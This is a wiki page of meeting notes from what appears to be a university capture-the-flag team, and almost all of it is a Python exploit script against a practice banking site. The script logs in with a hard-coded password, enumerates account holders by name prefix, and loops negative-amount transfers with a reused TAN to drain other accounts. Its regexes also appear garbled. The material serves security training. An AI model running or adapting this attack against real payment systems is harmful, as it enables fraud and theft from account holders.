CInsects/Protokolle/CInsects:Treffen-2010-11-16

Aus Fachschaft_Informatik
Version vom 16. November 2010, 23:27 Uhr von 85.183.86.106 (Diskussion) (haesslicher quelltext vom exploit)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

Exploit

Haesslicher Quelltext:

import urllib2 import urllib import cookielib import re from itertools import product import string

cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de' data = urllib.urlencode({

   'user': 'Jan',
   'password': 'AZyNEBAeTC'

}) request = urllib2.urlopen(url + '/index.php', data) login = request.read()

def alpha_beta_liste():

   return [a+b for a, b in product(string.lowercase, string.lowercase)]

def search(params):

   print params
   req = urllib2.urlopen(url + '/index.php?page=search', params)
   suche = req.read()
   result = ktnre.findall(suche)
   if result:
       name_nummer_list.append(result)
   print name_nummer_list

def transfer(kontonummer, betrag, tan_id, tan):

   params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})
   req = urllib2.urlopen(url + '/index.php?page=transfer', params)
   seite = req.read()
   if erfolg.findall(seite):
       print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)
   else:
       print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name
   

alphabeta = alpha_beta_liste()

ktnre = re.compile('(.*)')

betrag = -10 tan_id = 500 tan = 700338

erfolg = re.compile("

Erfolgreiche Ueberweisung!

")

name_nummer_list = []

for name in alphabeta:

   print name
   params = urllib.urlencode({'name': name})
   while True:
       try:
           search(params)
           break
       except urllib2.URLError, e:
           print "Fehler aufgetreten" + e


while True:

   for elem in name_nummer_list:
       name, kontonummer = elem
       while True:
           try:
               transfer(kontonummer, betrag, tan_id, tan)
               break
           except:
               pass